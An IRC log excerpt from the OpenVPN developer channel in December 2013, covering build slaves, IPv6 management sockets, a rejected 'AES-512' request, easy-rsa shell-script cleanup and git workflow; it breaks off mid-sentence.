reiffert [~thomas@mail.reifferscheid.org] has quit [Ping timeout: 260 seconds] 02:34 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 260 seconds] 02:34 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 260 seconds] 02:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:36 -!- EvilJStoker_ is now known as EvilJStoker 03:54 <@mattock1> uh, finally managed to track a "bug" in tap-windows installer down to a registry corruption 03:55 <@mattock1> a user was determined to show that tap-windows installer was broken, and asked "plz fix" 03:58 <@mattock1> he was pretty determined, but I think I got him silenced finally 04:01 <@mattock1> if you have a perversion for the Windows registry, look here: https://forums.openvpn.net/post35811.html 04:01 <@vpnHelper> Title: OpenVPN Support Forum TAP install failing on Windows 7 : Installation Help (at forums.openvpn.net) 07:20 * cron2 applauds mattock1 and reminds him that Ralf is waiting for advice as well :) 07:20 <@mattock1> ah 07:20 <@mattock1> let's see 07:30 <@mattock1> done 07:31 <@cron2> thanks :) 10:42 <@plaisthos> instead really fixing the policy routing problem with Android they now juste some iptables mss/mtu rules 11:29 <@cron2> yay 11:30 * cron2 wonders whether Apple has admitted yet that their IPv6 is borked in the VPN API 11:45 <@plaisthos> Google's API is still broken for "IPs that are not reachable without VPN" 13:13 <@cron2> plaisthos: any progress in testing, cleaning up, etc.? ;-) 13:33 <@mattock1> I removed opensuse-121-amd64 and fedora-16-i386 buildslaves, and added debian-7-i386 and fedora-19-i386 buildslaves 13:34 <@mattock1> the suse buildslave was never up anyways, and had some nasty issues 14:02 <@plaisthos> cron2: yeah. There is progress 14:02 <@plaisthos> cron2: at the moment I am trying to get the freeaddrinfo stuff right 14:03 <@plaisthos> I realized that when I doing the preresolv stuff that I am not always freeing the getaddrinfo 14:05 <@plaisthos> and addrinfo are weird because they have to be free when you have a SIGUSR1 and no remaining addr* in that addrinfo or a SIGHUP 14:35 <@plaisthos> My picture of all this context_1, context_2 and context is getting clearer and clearer 14:50 <@cron2> good news :) 15:07 <@plaisthos> (and since my system has no gcc compiler installed, I need a patch to silence the clang warnings) 15:14 <@plaisthos> Tricky question: --management IP port 15:15 <@plaisthos> what about v4/v6? 15:24 <@cron2> in the long run: v4, v6, dual-stacked :-) - but not urgently so, as currently OpenVPN will not run nicely on ipv6-only systems 15:28 <@plaisthos> the socket stuff should work on a v6 only system 15:28 <@plaisthos> tun should accept v4 addresses ;) 15:29 <@cron2> yeah, that - so if you have a really fully ipv6-only system where you can't have the management interface on 127.0.0.1, "ifconfig tun" will also explode 15:29 <@cron2> but I think this is not extremely urgent yet :) 15:30 <@plaisthos> I will just do the bind on first returned address on v4+v6 for management 15:30 <@plaisthos> should not break anything existing 15:30 <@plaisthos> and people can do management ::1 for ipv67 15:36 <@plaisthos> cron2: http://fun.drno.de/pics/english/legacy_ip_only.jpg 15:43 <@cron2> yeah, I have some of those stickers here :-) - still waiting for good victims 16:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] --- Day changed Sat Dec 07 2013 02:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:35 -!- gedO [~Thunderbi@83.171.21.92] has joined #openvpn-devel 03:35 < gedO> Hello, does openVPN has MSI installer?? 03:35 < gedO> I can't find none 03:40 -!- gedO [~Thunderbi@83.171.21.92] has quit [Ping timeout: 260 seconds] 03:46 <@mattock1> it doesn't 04:27 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 04:31 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:32 -!- dazo_afk is now known as dazo 08:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 08:00 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:00 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 08:07 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 08:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:23 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:15 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:15 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 09:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 10:57 <@plaisthos> *sigh* management-query-proxy + http-proxy in config and people complaining that it does not work 12:28 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] --- Day changed Sun Dec 08 2013 05:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:13 <@pekster> OpenSSL 1.0.1 is out; long live 0.9.8! (easyrsa3 now supports 0.9.8, unhappily. I guess people sort of expect 5-year-old versions to work..) 22:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds] --- Day changed Mon Dec 09 2013 00:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 00:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 02:10 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 02:12 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 02:12 -!- mode/#openvpn-devel [+o pekster] by ChanServ 06:52 <@mattock> we now have polarssl connectivity tests in our buildslaves 06:52 <@mattock> seemed to work at least on one buildslave 07:22 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 07:27 <@cron2> mattock: cool. Which build variants run the t_client tests now? 07:27 <@mattock> standard (no build flags) and --with-crypto-library=polarssl --enable-crypto --enable-ssl 07:28 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 07:28 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 07:29 -!- dazo_afk is now known as dazo 07:48 <@cron2> cool. I might ask you to move this towards one of the --disable-snappy builds, as soon as the test servers knows snappy, and will auto-adjust snappy/no-snappy depending on client capabilities :) but that's not done yet 08:11 <@mattock> ok 09:46 < syzzer> mattock: those --enable-crypto --enable-ssl flags should be enabled by default, is it not? otherwise I would consider it a bug actually... 09:46 <@mattock> syzzer: probably yes 09:46 < syzzer> but cool that the polarssl build are now automatically tested too! :D 09:47 <@mattock> those flags are probably defined just to make it clear what is being tested 09:48 <@mattock> can't recall who suggested those, possibly Alon 09:52 < syzzer> ah, I can live with that :) I just was surprised because you said 'no build flags' for the standard build, and then added these flags for polarssl 10:28 <@plaisthos> IMO --enable-crypto and --enable-ssl can go away 10:28 <@plaisthos> Nobody builds openvpn without crypto/ssl support anyway 10:48 <@cron2> well... you can do p2p without SSL... 10:54 <@plaisthos> cron2: yeah sure. But you can do that with OpenSSL/PolarSSL enabled version too 10:54 <@cron2> true. Dazo's standard argument here is "but you might want to do that on an embedded system with not enough RAM and Flash" 10:54 <@cron2> though that is much less of a problem with Polar than with OpenSSL 11:01 <@plaisthos> and embedded devices are getting more and more powerful 11:03 <@vpnHelper> RSS Update - tickets: #353: Need some help <https://community.openvpn.net/openvpn/ticket/353> 11:07 <@plaisthos> can we just close 353 with "This is a bugtracker and not a support line"? 11:37 <@cron2> done 14:19 <@plaisthos> preresolve/ip-remote-hint patch done 14:19 <@plaisthos> now to setting up my little test environment 14:21 -!- mattock is now known as mattock_afk 15:42 <@plaisthos> http://code.google.com/p/ics-openvpn/issues/detail?id=217 15:42 <@vpnHelper> Title: Issue 217 - ics-openvpn - Feature Request: Support AES-512 Encryption and document options for this and Packet Authentication - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 15:42 <@plaisthos> Is there even a aes-512 cipher? 15:51 <@pekster> Not with standards-vetting, no 15:52 <@pekster> Some folks have played around with increasing the key/block sizes, but they're not well-evaluated modes of operation (and thus could even reduce security, not improve it) 15:52 <@plaisthos> Wikipedia says that Rijndael/AES is only specified in 128/192 and 256 bits 15:52 <@pekster> Right 15:53 <@pekster> I found some books "discusing" the potential for 512-bit, but just in an academic sense 15:53 <@pekster> f.ex, Secure Communication using 512 Bit Key. 15:53 <@pekster> (2011) European Journal of Scientific Research. Vol.52 No.1, pp.61-65. 15:53 <@plaisthos> yeah 15:53 <@pekster> So, probably not relevant to us ;) 15:54 <@plaisthos> I am surely not patching ics-openvpn with some obscure AES-512 patch 21:50 <+krzee> lol at 353 being marked "major" 21:54 <+krzee> i just closed it cause it seems to have not been closed earlier --- Day changed Tue Dec 10 2013 01:04 -!- mattock_afk is now known as mattock 02:45 <@plaisthos> About that AES 512. DD-WRT seems to have patched their OpenVPN/OpenSSL to allow AES-512 02:45 <@plaisthos> I am being to really hate those wrt based distros 02:49 <@pekster> Meh, dd-wrt is full of idiots 02:49 < syzzer> plaisthos: Totally agree. Furthermore, AES-256 is incredibly strong anyway, no need to stress your CPU even more. 02:49 <@pekster> openwrt knows better than to do that kind of nonsense 02:50 < syzzer> openwrt can be quite hacky to from my experience :( 02:50 <@pekster> Sometimes, but they usually provide mostly-sane alternatives; I think firewall3 is a pile of crap, but it does "integrate well with UCI and LuCI" which was their goal 02:51 <@pekster> OpenVPN is actually easy to do init-based startup for now too 02:51 < syzzer> yeah, I'm not saying there's anything better that runs on cheap router hardware :p 02:51 <@pekster> They still support "fully inline config definitions in UCI format", but now you can just do `enabled 1 \n config /etc/openvpn/my.conf` and it'll start up 02:53 <@pekster> http://fpaste.org/60413/86665577/ <-- that's my config on a box I recently set up, and it'll load on boot, or individually with `/etc/init.d/openvpn up va` to bring just that stanza up 02:53 <@pekster> Optionally you can do sillyness like `option ca /path/to/ca.crt` and the like, but that's ugly 02:54 < syzzer> nice, that looks very reasonable 02:55 < syzzer> I switched to have a VM with a real OS doing my routing a while ago, using OpenWRT just because I trust it more then the default TP-Link firmwares 02:56 < syzzer> real -> full-blown 02:56 <@pekster> Yea, vendor-firmwares are a bit like phone firmwares; they might upgrade it a few times when they're new, but then they just want you to buy $new_model 02:57 <@dazo> syzzer: openwrt is probably not optimal ... but far better than dd-wrt "gurus" who claim that there's not a problem the littleblackbox project has collected all their private keys for ssh and https ... "because nobody should enable remote admin over the internet" (that's really their response) 03:01 <@pekster> dazo: You'll enjoy that a recent trunk commit to openwrt allows the PRNG to not suck with supported wifi hw (I think just atheros atm) that populates the entropy with radio noise :) 03:01 <@pekster> ie: initial ssh keys won't reak 03:02 <@pekster> Probably useful for anyone foolish enough to run easy-rsa on them too 03:02 <@dazo> wow! that's cool! I definitely need to upgrade my tp-link router :) 03:02 <@dazo> hehe 03:02 <@dazo> yeah 03:03 <@pekster> Personally I recommend that no one do any serious key generation on them, but it's at least better than FactHacks at 29C3 demoed 03:03 <@dazo> I'm actually moving towards the direction syzzer have done ... using a VM 03:03 <@dazo> absolutely ... but most wrt users are clueless in regards to security 03:03 <@pekster> Yup, I've done that too, although atm my VM host sees more reboots than my tiny openwrt border unit does; I do have a spare NIC for the VM host though 03:04 <@dazo> "oh I have max security, because I use WPA2 with 'abc123' as my password!" 03:09 < syzzer> dazo: can't agree more. If you want to run anything on cheap router firmware, OpenWRT is the best there is :) 03:09 < syzzer> I gave my firwall-vm a NIC through VT-d hardware passthrough, no external data flows through the VM host. Works like a charm :) 03:10 < syzzer> but, enough off-topic for me, back to work now :) 03:19 <@dazo> :) 03:20 <@dazo> I got myself an VT-d capable dual-port NIC for my server ... and it turned out by server didn't like the NIC ... declined to boot it was installed :( 03:22 <@dazo> So until I have time and budget to upgrade my server (to a HP Microserver Gen8) ... I'll use at USB NIC (as I won't exceed 100Mbit on the WAN at home) 03:23 <@pekster> I used an old 10Mbps (don't ask) USB NIC when a lightening strike took out the NIC to an old router at home 03:23 <@dazo> ugh 03:23 <@pekster> I was disappointed by that one; the PC was on surge-protection, but near as I can figure the surge came through the cable coax line and down the Ethernet to the NIC 03:24 <@pekster> Oh, and for bonus points, it only put a segfault in the kernel msg log _after_ returning success to the OS on the data write, so I tried to blame the ISP ;) 03:24 <@dazo> So you know if those surge protectors works "bi-directional"? 03:24 <@dazo> hehehe 03:24 <@pekster> http://pekster.sdf.org/misc/nic-lightening.txt 03:25 <@pekster> That, folk, is what lightening-infested NICs do (sometimes) 03:26 <@dazo> slightly burned eth-chip 03:26 <@pekster> "transmit timed out" but the receive worked fine. I couldn't figure out why _I_ couldn't get a DHCP lease but I could see all my neighbors getting them 03:26 <@pekster> Oh, and of course tcpdump works at the software level just before handoff, so it showed I was sending. Bad day that was. 03:27 <@dazo> man, that had to be frustrating ... 03:28 <@pekster> Taught me a nice lesson though about blaming the ISP before I check _all_ my OS logs, even the ones I don't think matter :P 03:28 <@dazo> :) 05:42 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 05:43 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:22 < syzzer> plaisthos: I see android 4.4.1 and 4.4.2 updates floating around, do you know whether they fix the VpnService bug? 06:41 <@plaisthos> syzzer: they fix the mss/mtu issue by adding an iptables rule but the other bugs still exist 07:30 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 07:30 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 07:30 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:00 < syzzer> plaisthos: meh, not worth loosing 'App ops' then. I'll stick with 4.4.0 for now. 08:01 <@plaisthos> syzzer: yeah. That's what I figure for myself too 08:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 08:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:10 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:24 <@ecrist> ping mattock 08:25 <@ecrist> latestest 64-bit build gives the following error when I try to run it on windows 7 64-bit: Error creating HKLM\SOFTWARE\OpenVPN-GUI key 08:25 <@mattock> hi 08:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:26 <@ecrist> wb 08:27 <@mattock> if the user has admin rights and the registry key does not exist already, I have no clue what's happening 08:28 <@ecrist> I found the ticket on trac 08:28 <@ecrist> the solution by d12fk seems to work 08:38 <@mattock> which ticket? 08:40 <@pekster> ecrist: My run-as highestAvailable unofficial build fixes that too ;) 08:40 <@pekster> Meanwhile, we wait until 2.4 that's "coming very soon with new service stuff" ;) 08:41 <@ecrist> #252 08:41 <@ecrist> https://community.openvpn.net/openvpn/ticket/252 08:41 <@vpnHelper> Title: #252 (OpenVPN-GUI (64-bit) fails after installation) – OpenVPN Community (at community.openvpn.net) 08:45 <@plaisthos> Is there any OpenVPN 3 server? 08:45 <@plaisthos> or why/to whem does the OpenVPN 3 client talk LZ4? 08:48 <@cron2> is there LZ4 support in OpenVPN 3? 08:48 <@cron2> James proposed to send a patch for LZ4 in 2.x, but I haven't seen anything yet 08:48 <@cron2> (and there is no OpenVPN 3 server, as far as I know - but maybe AS can do LZ4 and James just did not send the patch yet) 08:51 <@plaisthos> cron2: yeah lz4.hpp with 142 lines of code and 15 references in compress.hpp 08:52 <@cron2> amazing :) 08:56 <@plaisthos> I was looking at OpenVPN 3 to check how james handles the persist-tun and DNS issue 08:56 <@plaisthos> and found out that he does the same as my preresolv patch 08:56 <@plaisthos> but on default and not only optional 09:13 <@mattock> ecrist: ah yes, that is a very useful ticket, good discussion 09:14 <@plaisthos> I am sure if we should default to OpenVPN 3 behaviour or OpenVPN 2 behaviour in OpenVPN 2.x 09:14 <@plaisthos> or if we should a setenv opt config-version 2 that more useful defaults 09:34 -!- You're now known as BMWer 09:37 -!- You're now known as ecrist 10:07 -!- dazo is now known as dazo_afk 10:10 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 10:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:29 <@pekster> ecrist: Saw your comment just after I pushed a merge-commit, but I don't really think we need to be fault-tolerant for variables known in advnace to be ints; this behavior is used a lot, but only where it's 100% known in advance the contents will never be user-supplied or a sttring 10:30 <@pekster> That seems overly pedantic, like the original test for p7/p12 as the initial $1 arg to export_pkcs12() was from the first revision, and that seems silly to me 10:31 <@pekster> Apparently github managed to not send me an email update to that comment though :\ 10:32 <@pekster> Oh, no email-updates for "comments on the commit within a pull request" it seems. Silly github 10:33 <@pekster> We could certainly be overly paranoid about the value of known int (ie: 0/1) values, but if we do it we should do it everywhere and be consistenet, and I just don't see the advantage 10:35 <@ecrist> I think it's best to be fault-tolerant by default, rather than adopt a "this should never happen" though process 10:35 <@ecrist> it's never a problem until it is 10:37 <@pekster> Just in case things like "$?" end up a string? :P 10:38 <@pekster> It's just silly, like testing that every command-name with internal defaults "really is one of the defaults we support" -- that's goofy 10:39 <@pekster> ie, this thing that I nixed, both becuase of the bashism, and becuase it's entierly unnecessary: https://github.com/luizluca/easy-rsa/blob/4fa57bf/easyrsa3/easyrsa#L767 10:39 <@vpnHelper> Title: easy-rsa/easyrsa3/easyrsa at 4fa57bff6b61d8d2fa3da2d93f6526ae8b2ac869 · luizluca/easy-rsa · GitHub (at github.com) 10:41 <@pekster> Dunno, if it bugs you, we ought to fix all 15 such uses; I'm not really against it, I just don't see the point for non-user-supplied values 10:47 <@ecrist> if test didn't type the variable, it wouldn't be a big deal. I've been bitten before by similar issues, though. you're right, it should always be an integer, but we could further simplify this by treating it as a boolean. if you don't set the var at all, it's considered false, any value will result in true 10:49 <@pekster> Sure, replace `-eq 1` with `-n` and `-eq 0` with `-z`. IMO it's a little less clear what it's doing, but safe against future bad code (which we won't have anyway, right? ;) 10:55 <@ecrist> it's really as simple as [ $want_ca ] 10:57 <@ecrist> http://pastebin.ca/2495472 10:57 <@pekster> Ah, I see your point; go for it if you want. Just no `foo=""` like v2 had -- `foo=` is quite sufficient 10:58 <@ecrist> unless this isn't planned to remain a boolean, then we need to compare 10:59 <@pekster> Nah, anything that's `-eq 1` or `-eq 0` currently is used strictly as a bool 10:59 <@pekster> ie, all 15 from: `grep -n -- -eq easyrsa3/easyrsa` 10:59 <@ecrist> I think my example is fairly easy to read, as well 11:04 <@ecrist> if you're OK with this, then, I'll fix the script to support the new syntax 11:05 <@pekster> Yup, go for it 11:06 <@pekster> Probably simplifies lines 227/234 too 11:08 <@ecrist> okee dokey 11:09 <@pekster> Time for the badger to pop back up on the list anyway ;) 11:11 <@pekster> Hmm, the only 'catch' to that appears to be the EASYRSA_BATCH handling bit -- might as well update the comments/usage in vars.example at the same time, since 'export EASYRSA_BATCH=0` would actually _enable_ batch mode under the new rules, unless that was kept as a fronttend and re-deifned as `EASYRSA_BATCH=` after invocation setup 11:15 <@ecrist> heh, an instance of a user-supplied value 11:17 <@ecrist> I think we need to instruct the users that setting that to anything enables the feature 11:19 <@pekster> Right, it just makes it slightly non-intuitive to define under the advanced section of vars.example, but it is under a nice warning about advanced features :P 11:19 <@pekster> But that keeps it consistent, and the warning can still exist if the user-supplied value is not "1", if we want to be "nice" to that mistake 11:20 <@pekster> Doesn't really matter at all to me so long as the docs match the implementation 11:21 <@pekster> Also, it's not a user value thanks to easyrsa:1090, so it's not "really" user-defined, just user-"chosen" 11:22 <@ecrist> so, a line such as: [ -z "$EASYRSA_BATCH" ] || [ $EASYRSA_BATCH -eq 0 ] && \ becomes [ !$EASYRSA_BATCH ] && \ 11:22 <@pekster> Right, I get that 11:23 <@pekster> It's the setup of warning a user if thtey do 'set_var EASYRSA_BATCH 0` in a vars file or shell profile (do we warn and set to a null string, or treat that as "yes, give me batch mode" 11:24 <@ecrist> why not have it be a command line flag instead of a config var? 11:24 <@pekster> It is that too 11:24 <@ecrist> easyrsa -b 11:24 <@ecrist> and remove it from config all together? 11:24 <@pekster> Remember, users can set things in one of 3 places now; env-var, 'vars' file, or CLI depending on use-case 11:25 <@pekster> I tried to be permissive for a variety of use-cases 11:25 <@pekster> You, for instance, liked the env-var for your shell profile/rc files, but others might like the commented stanzas in vars.example 11:25 <@pekster> I didn't see a reason not to suppot a variety of workflows 11:26 <@ecrist> line 366 puzzles me 11:26 <@ecrist> you define opt_force as 0, then immediately test to see if it's set to 1 11:26 <@pekster> Avoids confirmation if a user has requested batch operation 11:26 <@pekster> No, we _set_ it to 1 11:26 <@pekster> Not test 11:27 <@ecrist> herpaderp 11:27 <@pekster> Forced init-pki happens if either EASYRSA_BATCH is true, _or_ the 'force' command-arg is passed 11:27 <@ecrist> and I'm not even drinking yet 11:27 <@pekster> So, "turn off silent automagic nuke everything mode", then "if global batch, turn that on", then "if user asked for nuke my files mode to this command, turn it on" 11:30 <@pekster> Rip out 'force' support if you'd prefer, since it can be done with --batch=1 anyway. Saves more bytes I suppose 11:32 <@ecrist> not at this juncture. I don't have my head fully wrapped around everything you do, yet. 11:32 <@ecrist> I'll just nitpick until I do. P 11:32 <@pekster> Hey, that's how improvements get made 11:33 <@pekster> So, basically, lines (from current master) 365 to 373 can go away and just rely on $EASYRSA_BATCH as the sole decider of forced dir removal, no-confirm mode 11:33 <@pekster> I also supported an extra command-opt, but users wanting that likely read about batch support, so I wouldn't be hurt to see it go 11:34 <@ecrist> I think that, if batch is set, force is implied 11:34 <@pekster> No, other way around is supported 11:34 <@ecrist> sure 11:34 <@pekster> (currently, that can go to clean things up) 11:34 <@pekster> ie: batch _not_ set, but force can be added. That's "sort of pointless" since --batch=1 is just as easy as adding 'force' anyway 11:36 <@pekster> That may have been one-too-many ways to enable that support :P 11:39 <@ecrist> I think I should leave 541 alone. 11:39 <@ecrist> and 623 is commented out 11:40 <@pekster> Yea 517/541 is special (that really is a strin) 11:41 <@pekster> 624 (623 in your copy I guess) is old, unused. rip it out if you'd like since it uses old -eq 1 syntax ;) 11:42 <@pekster> users already confirmed intent at 583, so 624 got commented out then I'd assume and just never removed 11:42 <@ecrist> I'll remove it, then. 11:45 <@ecrist> so, all I have left then, according to your grep earlier, is 541 and 627, which are evaluating return codes, and I think we should do an int comparison in that case. 11:45 <@ecrist> or not compare the return code and process the command a little differently 11:48 <@pekster> Leaving return codes ints sounds reasonable since "someday" we might feasibly care about them (I don't think openssl uses them meaningfully, but who knows, maybe 1.1 will surprise me) 11:49 <@pekster> In both cases above it's just used to remove the temp file before calling die() which has an implied exit; I'd rather avoid leaving trash on the FS from failed ops 11:50 <@pekster> Alternatively, die() could check for/remove "$EASYRSA_TEMP_FILE" on exit and both lines could become [ $? -eq 0 ] || die ... 11:51 <@pekster> Or I suppose $long_cmd_thing || die 13:02 <@ecrist> I like that. 13:02 <@ecrist> I'll let you implement that. 13:16 <@ecrist> pekster: do you want a diff for signed-off in my commit? 13:31 <@pekster> Nah, if you're happy, push it out 13:32 <@pekster> The only thing I'm treating specially are external pull requests since we can't have comitters (easily) re-write their own history, so I just add an 'Author: ' line above the 'Signed-off-by: ' line for the merge commit 13:33 <@pekster> Unless you thought we needed more auditing, but I'm not really that worried 13:39 <@pekster> This seemed to be the cleanest way to deal with pull requests, and I'm just doing `git merge --no-ff my-local-branch` to create f.ex, cc19823 as shown here: http://fpaste.org/60586/13867043/raw/ 13:40 <@pekster> Folks here can just `git commit -s` <add sane message> then push I figure 13:59 <@ecrist> no, we don't really need the overhead at this point 14:28 <@ecrist> what the heck am I doing wrong 14:28 <@ecrist> http://pastebin.ca/2495522 14:28 <@pekster> Are you on `master` now? `git status` 14:29 <@pekster> The push is apparently trying to push to release/2.x, and there's no commit-path from that branch to master 14:35 <@pekster> Oh, and the pull failed because 'remote/2.x' isn't a remote. The syntax for either push or pull commands is `git {push,pull,fetch} [<remote> [<branch>]]`, so you probably wanted `get pull origin` (while on the master branch.) Beware that `git pull` is somewhat discouraged since it will attempt to auto-merge upstream changes, possibly giving you headaches if you have uncommitted changes. Either commit first, or use fetch and ... 14:35 <@pekster> ... then merge from upstream at your convenience. git-pull(1) for details 14:56 <@pekster> heh, that should have been Signed-off-by: *you* ;) 15:27 <@ecrist> hrm 15:27 <@ecrist> I'll have to figure it out later 15:27 <@ecrist> I'll redo the commit if I can. 15:28 * ecrist poofs for now 15:28 <@pekster> Nope, you can't redo public history 15:28 <@ecrist> it's not public yet, is it? 15:28 <@pekster> https://github.com/OpenVPN/easy-rsa/commits/master 15:28 <@ecrist> huh, apparently it is 15:28 <@vpnHelper> Title: Commits · OpenVPN/easy-rsa · GitHub (at github.com) 15:28 <@pekster> e75ad75421 is 15:29 <@ecrist> wtf 15:29 <@ecrist> I really hate git 15:29 <@pekster> Eventually you'll "git" it ;) 15:30 <@pekster> But yea, it's got a a bit of a learning curve 15:30 <@ecrist> yeah, I should have done it differently. I think I see what I screwed up. 15:34 <@pekster> No worries, I just figured we'd mostly follow the openvpn project symantic of Signed-off-by: <person committing> at the end, and any "other involved people/references/etc" above that. It's hardly been a prestine project this far anyway, so it's a good place to learn how git works :D 15:35 <@pekster> Anyway, I'm out until later this evening as well; I should have time to deal with the temp-file stuff when I'm back too since I like that idea 16:32 -!- mattock is now known as mattock_afk 17:24 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 17:26 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:26 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:26 -!- dazo_afk is now known as dazo 20:36 <@ecrist> I'm back. Any other to-dos, pekster? 20:59 <@pekster> I'm recently back as well; a quick look at things look good besides the batch setup; that's easy-enough to fix 21:00 <@pekster> vars.example and maybe any references in the doc/ dir should get updated at the same time anyway, and I don't mind updating all 3 at once anyway as it keeps the docs in sync with the code changes 21:09 <@ecrist> woohoo 21:09 <@ecrist> why was easyrsa 3 put in a dir called easyrsa3? 21:09 <@ecrist> it doesn't really follow the current hierarchy at all 21:10 <@ecrist> I think, moving forward, the easy-rsa dir in the src root should *be* all of the current working source 21:10 <@ecrist> and tagged according for releases/branches 21:12 <@pekster> Names don't really matter to me so much; easyrsa3 is the actual source, yes. The rest are supporting things; build info, distro (distro-centric stuff), documentation, Licensting, etc 21:12 <@pekster> Same thing as "src" is in openvpn 21:12 <@pekster> Could be renamed to "src" too, but it's pretty typical in projects to separate the actual source from the files that are related to the source but not actually code 21:13 <@pekster> Surely the Windows code doesn't "belong in the root" just becuase it ends up packaged that way.. 21:14 <@pekster> ref: https://github.com/OpenVPN/openvpn . Maybe a rename from easyrsa3 -> src would help clear things up? 21:14 <@vpnHelper> Title: OpenVPN/openvpn · GitHub (at github.com) 21:14 <@pekster> That, or we need an easyrsa-build project :P 21:16 <@ecrist> heh, no, let's try to avoid that 21:16 <@pekster> I basically followed exactly what openvpn does; I figured that made sense 21:16 <@ecrist> perhaps a src/ dir that DOES contain windows and *nix code bases 21:16 <@ecrist> and then a build script that builds/bootstraps our releases 21:16 <@pekster> It's the same codebase, plus extras 21:17 <@ecrist> well, that's done for us then. 21:17 <@pekster> build/Building.md in fact starts with "do the generic stuff" then for windows "do some extra stuff." A script that can build both in one-go is on my todo list 21:18 <@ecrist> splendid 21:20 <@ecrist> I don't think I've touched my snapshot building script in over a year. just thought to check it, and it's been chugging along nicely 21:23 <@pekster> Oh, I've still got that depcache support that needs to go into openvpn-build too (thanks for the reminder!) 22:24 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 22:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:27 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 22:27 -!- dazo_afk is now known as dazo --- Day changed Wed Dec 11 2013 01:55 <+krzee> plaisthos, http://securityintelligence.com/new-vulnerability-android-framework-fragment-injection/ 01:55 <@vpnHelper> Title: A New Vulnerability in the Android Framework: Fragment Injection (at securityintelligence.com) 02:21 -!- mattock_afk is now known as mattock 03:06 <@plaisthos> krzee: Yeah. I figured that there was something like this, when the new API *requires* to overide that settings method 03:09 <@plaisthos> the AppsOpp hack under 4.3 demonstrated that vulnerability 07:07 <@ecrist> good morning 07:21 <@ecrist> hey raidz or mattock the website is down 07:23 <@mattock> hi 07:23 <@mattock> I wonder if we're under DDOS 07:23 <@mattock> yep, looks likely 07:23 <@ecrist> mysql connect error 07:23 <@mattock> we had a DDOS attack a few days ago with the same symptoms 07:24 <@mattock> I'll see what's happening this time 07:41 <@plaisthos> I am not sure anyone else has github subscription set up but we got a strange patch: https://github.com/OpenVPN/openvpn/pull/10 07:41 <@vpnHelper> Title: Custom control messages & trigger by andreax79 · Pull Request #10 · OpenVPN/openvpn · GitHub (at github.com) 07:43 <@cron2> whatever it is, as it's IPv4 only, we're not taking it :-) 07:43 <@cron2> (management interface shouldn't be using ip:port to identify client connections but the CID) 07:44 <@cron2> ... but besides this, while I don't understand the use case, it sounds interesting :) 07:52 <@plaisthos> yeah 07:52 <@plaisthos> but CUSTOM/CONTROL should be replaced with more specific commands 08:15 <@cron2> plaisthos: on a related note :-) - how's your testbed and the latest series of patches coming along? 09:03 -!- mattock is now known as mattock_afk 09:19 <@ecrist> I like the idea of that patch 12:02 <@cron2> "send arbitrary non-sanitized strings to a client that will pass them as 